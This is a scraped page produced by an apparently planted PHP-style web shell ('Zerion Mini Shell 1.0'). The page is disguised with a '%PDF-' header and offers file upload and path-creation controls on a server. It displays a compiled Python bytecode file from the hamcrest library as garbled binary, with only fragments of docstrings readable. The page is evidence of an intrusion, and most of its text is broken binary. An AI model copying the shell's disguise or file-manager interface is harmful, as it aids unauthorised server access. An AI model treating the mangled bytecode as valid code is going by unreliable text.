%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/hamcrest/core/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/hamcrest/core/__pycache__/description.cpython-312.pyc

�

���e���4�ddlmZmZdZdZdZGd�d�Zy)�)�Any�IterablezJon ReidzCopyright 2011 hamcrest.orgzBSD, see License.txtc
�R�eZdZdZdeddfd�Zdeddfd�Zdeded	ed
eeddf
d�Z	y)
�Descriptionz�A description of a :py:class:`~hamcrest.core.matcher.Matcher`.

    A :py:class:`~hamcrest.core.matcher.Matcher` will describe itself to a
    description which can later be used for reporting.

    �text�returnc��td��)z_Appends some plain text to the description.

        :returns: ``self``, for chaining

        �append_text��NotImplementedError)�selfrs  �;/usr/lib/python3/dist-packages/hamcrest/core/description.pyr
zDescription.append_texts��"�-�0�0��valuec��td��)z�Appends description of given value to this description.

        If the value implements
        :py:meth:`~hamcrest.core.selfdescribing.SelfDescribing.describe_to`,
        then it will be used.

        :returns: ``self``, for chaining

        �append_description_ofr)r
rs  rrz!Description.append_description_ofs��"�"9�:�:r�start�	separator�end�listc��td��)azAppends a list of objects to the description.

        :param start: String that will begin the list description.
        :param separator: String that will separate each object in the
            description.
        :param end: String that will end the list description.
        :param list: List of objects to be described.

        :returns: ``self``, for chaining

        �append_listr)r
rrrrs     rrzDescription.append_list$s��"�-�0�0rN)
�__name__�
__module__�__qualname__�__doc__�strr
rrrr�rrrrs^���1��1�
�1�
;�3�
;�=�
;�1��1�%(�1�/2�1�:B�3�-�1�	�1rrN)�typingrr�
__author__�
__copyright__�__license__rrrr�<module>r#s!�� �
�
�-�
�$��*1�*1r

Zerion Mini Shell 1.0